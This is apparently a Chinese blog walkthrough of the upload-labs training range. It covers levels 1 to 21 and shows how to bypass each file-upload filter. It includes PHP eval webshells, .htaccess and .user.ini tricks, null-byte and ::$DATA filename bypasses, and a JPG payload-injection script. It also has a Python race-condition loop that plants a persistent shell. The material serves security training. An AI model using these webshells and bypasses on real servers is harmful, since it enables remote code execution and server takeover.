upload-labs靶场通关教程
upload-labs靶场通关教程
Pass-01

我们先上传带有一句话木马的1.php


查看页面源代码发现是前端js弹窗,我们直接禁用前端即可。
再进行上传1.php,我们就可以上传了。

Pass-02
做完每一题之后,我们最好清理一下上传的文件,以免对后续操作产生影响。
依旧上传1.php,但是发现不行

我们抓包,将content-Type改成image/png,再次上传发现成功上传

从源码上的角度去看

只判断了file的type的值,就可以绕过了
Pass-03
依旧先上传1.php

提示:不允许上传.asp,.aspx,.php,.jsp后缀文件
我们只需要上传.phtml就可以绕过,上传

从源码上看

这里只对后缀进行了限制,并没有对content-type,所以我们可以原封不动
Pass-04
之后过滤的会越来越多,因为是靶场,我们可以直接从源码入手
关键过滤代码为
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
过滤了非常多,但仔细发现并没有过滤.htaccess文件
我们可以先上传.htaccess文件
AddType application/x-httpd-php .jpg .txt .png
再去上传1.png,内容为一句话木马


Pass-05
关键过滤代码为
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
这里过滤了上一题的.htaccess但没有过滤.user.ini
auto_prepend_file=1.jpg
然后再去上传1.jpg

Pass-06
直接看源码

可以发现少了一行转小写的代码,那我们直接大小写绕过

放包即可上传
Pass-07

这关源码删去了trim()函数,也就是用来去除字符串两端的空格,所以我们如果在上传文件的后缀名里面加上空格,不属于黑名单内容,我们就可以成功进行上传

放包上传即可
Pass-08

可以看到没有使用deldot()过滤文件名末尾的点,可以使用文件名后加 .进行绕过,即1.php.

Pass-09

缺少了
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。


注意这里url中要删掉最后的::$DATA
Pass-10
使用 deldot() 删除文件名末尾的点
deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来
可以构造文件名:1.php. .绕过检测

url中依旧是去掉后面的字符,保留到1.php
Pass-11

查看源码我们可以发现他仅仅对文件名称进行了替换,替换之后的后缀没有进行黑名单验证,这里我们就可以使用双写文件后缀进行文件上传

Pass-12

这一关白名单,通过%00截断可绕过白名单限制,但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。
原理简述:PHP函数如move_uploaded_file在底层C语言实现时,会因遇到0x00(URL编码为%00)截断字符串。利用此特性,可绕过某些文件上传限制。

即可上传成功
代码分析:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
知识补充:
php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤
Pass-13
第13题与12题思路一样使用白名单限制上传文件类型,但上传文件的存放路径可控,
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
但因为是POST型,需要对%00进行解码或在16进制中修改,POST不会像GET那样对%00进行自动解码。

Pass-14
本关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件

使用 图片马 + 文件包含 绕过
补充:
Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG
Jpg图片文件包括2字节:FF D8。
Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
Bmp图片文件包括2字节:42 4D。即为 BM
图片马制作:
在cmd里执行 **copy logo.jpg/b+test.php/a test.jpg**
#logo.jpg为任意图片;test.php 插入的木马文件;test.jpg 生成的图片木马

然后将test.png上传


再点击黄色的文件包含漏洞字眼

然后打一个很简单的文件包含漏洞

Pass-15
使用getimagesize()检查是否为图片文件

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
主要是针对*.php直接更改文件后缀为图片后缀,上一题创建的图片马仍然可以使用。

Pass-16

exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快
方法同Pass-14
Pass-17
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
根据源码和题目提示可以得知这是一个二次渲染
上传的图片经过了后缀名、内容类型和imagecreatefromgif函数的严格验证,确保其为GIF格式。随后,图片经过了二次渲染处理。然而,在后端的二次渲染过程中,需要识别并标记出渲染后未发生改变的十六进制(Hex)区域。通过利用文件包含漏洞,可以在这些未变区域嵌入恶意代码,进而使用蚁剑工具进行远程连接和操作。
这里的二次渲染图片使用大菜鸡师傅的。
先上传一张原始jpg,然后直接下载二次渲染后的jpg
脚本如下:
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=eval(\$_POST[7]);?>"; //注意$转义
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

得到一个以payload_开头的图片,然后上传即可

Pass-18

通过分析源代码,仅仅只是判断文件名称,和修改上传的文件名称,如果临时文件的后缀不在黑名单里面,就删除这个临时文件,那么这个临时文件在没有删除之前执行我们上传的代码块呢。
这也就是条件竞争。
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,总会有一瞬间的访问成功。
这个页面中没有文件包含漏洞,图片马的漏洞利用条件就是文件包含。此时没有这个漏洞了,那么可以使用如下方法。
将一句话代码更改为如下内容。
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["a"]);?>');?>
使用Burp Suite连续重放PHP文件上传请求,同时用Python脚本频繁访问该文件。在文件被删除前访问成功,即可在目录下创建一个包含一句话木马的Tony.php。这种方法在渗透测试中有效,因为它避免了仅访问phpinfo()文件的局限性。生成的Tony.php不会被服务器自动删除,从而允许我们通过蚁剑进行连接。
首先,我们上传PHP文件,用BP拦截,并发送到攻击器Intruder


然后我们再写一个python脚本,通过它来不停的访问我们上传上去的php文件
import requests
def main():
url='http://10.234.13.155/upload-labs/upload/tmp.php'
while True:
res = requests.get(url)
print('未找到php文件')
if res.status_code == 200:
print('over!')
break
if __name__ == '__main__':
main()
在BP攻击的同时我们也要运行python脚本,目的就是不停地访问tmp.php知道成功访问到为止。当出现OK说明访问到了该文件,那么shell.php应该也创建成功了,用蚁剑连一下试试。


Pass-19
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
一句话木马依旧是
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["a"]);?>');?>

import requests
def main():
url='http://10.234.13.155/upload-labs/upload/1.png'
while True:
res = requests.get(url)
print('未找到png文件')
if res.status_code == 200:
print('over!')
break
if __name__ == '__main__':
main()

Pass-20
黑名单过滤

在php中move_uploaded_file有一个特性
修改上传文件名称为upload-19.php/.


Pass-21
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}
源码逻辑:
- 检查MIME (通过抓包改Content-Type 绕过)
- 判断 POST参数 save_name 是否为空,
- 判断$file 是否为数组,不是数组以
.分割化为数组 - 取 $file 最后一个元素,作为文件后缀进行检查
- 取 $file 第一位和第
$file[count($file) - 1]作为文件名和后缀名保存文件
修改content-type 修改POST参数为数组类型,
索引[0]为1.php
索引[2]为jpg|png|gif
只要第二个索引不为1,
$file[count($file) - 1]就等价于$file[2-1],值为空绕过

upload-labs靶场通关教程的更多相关文章
- DVWA File Upload 通关教程
File Upload,即文件上传.文件上传漏洞通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁 ...
- Pikachu靶场通关之XSS(跨站脚本)
一.XSS(跨站脚本)概述 Cross-Site Scripting 简称为"CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS.一般XSS可以 ...
- DVWA Command Injection 通关教程
Command Injection 介绍 命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻 ...
- DVWA XSS (Reflected) 通关教程
XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...
- DVWA XSS (Stored) 通关教程
Stored Cross Site Scripting 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户 ...
- DVWA CSRF 通关教程
CSRF 介绍 CSRF,全称Cross-site request forgery,即跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie.会话等),诱骗其点击恶意链接或者访问包含攻击代码 ...
- DVWA File Inclusion 通关教程
File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...
- 【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...
- SUCTF 2019 Upload labs 2 踩坑记录
SUCTF 2019 Upload labs 2 踩坑记录 题目地址 : https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload La ...
- Upload-labs 文件上传靶场通关攻略(上)
Upload-labs 文件上传靶场通关攻略(上) 文件上传是Web网页中常见的功能之一,通常情况下恶意的文件上传,会形成漏洞. 逻辑是这样的:用户通过上传点上传了恶意文件,通过服务器的校验后保存到指 ...
随机推荐
- Ubuntu更换cuda版本,gcc,g++版本
Ubuntu更换cuda版本,gcc,g++版本 更换cuda版本 这个比较简单 可以看到 /usr/local下面有一个软链接,更换到我们需要的版本即可,cuda对应版本安装可参考官网. 创建软连接 ...
- Code First 初始化数据时发生异常
问题重现 用Entity Framework的Code First默认生成的数据库文件被我直接删除了, 然后不管怎么重新编译等等, 运行后总是会报错如下: 解决方案同下 Cannot attach t ...
- Linux权限之基础权限
介绍 Linux是多用户的操作系统,允许多个用户同时登录和工作,Linux权限是操作系统用来限制不同用户对资源的访问机制.这里暂且将Linux的权限分为三类: 基本权限:给文件和目录的所属者.所属组. ...
- Centos系统云主机中nvme盘不可用解决方法
本文分享自天翼云开发者社区<Centos系统云主机中nvme盘不可用解决方法>,作者:P****n 问题描述 Linux系统的云主机使用NVMe盘后,出现非预期的慢IO读写,导致系统或者应 ...
- Cloud Native CI/CD: tekton and argocd
https://platform9.com/blog/argo-cd-vs-tekton-vs-jenkins-x-finding-the-right-gitops-tooling/ implemen ...
- 基于大模型的 RAG 核心开发——详细介绍 DeepSeek R1 本地化部署流程
前言 自从 DeepSeek 发布后,对 AI 行业产生了巨大的影响,以 OpenAI.Google 为首的国际科技集团为之震惊,它的出现标志着全球AI竞争进入新阶段.从以往单纯的技术比拼转向效率.生 ...
- springmvc实现转发和重定向
一. @RequestMapping("/testVoid") public String testVoid(HttpServletRequest request){ //转发方式 ...
- java基础之函数式接口
一.函数式接口在Java中是指:有且仅有一个抽象方法的接口,所以函数式接口就是可以适用于Lambda使用的接口 二.自定义函数式接口 格式: @FunctionalInterface //该注解可省, ...
- 『Plotly实战指南』--布局基础篇
在数据分析与可视化领域,一张优秀的图表不仅需要准确呈现数据,更应通过合理的布局提升信息传达效率,增强专业性和可读性. Plotly作为一款强大的Python可视化库,提供了丰富的布局定制功能,帮助我们 ...
- MySQL 中长事务可能会导致哪些问题?
MySQL 中长事务可能会导致哪些问题? 长事务是指那些执行时间较长.涉及多个操作且没有及时提交或回滚的事务.长事务在 MySQL 中可能引发一系列问题,尤其是在高并发的数据库环境中.以下是长事务可能 ...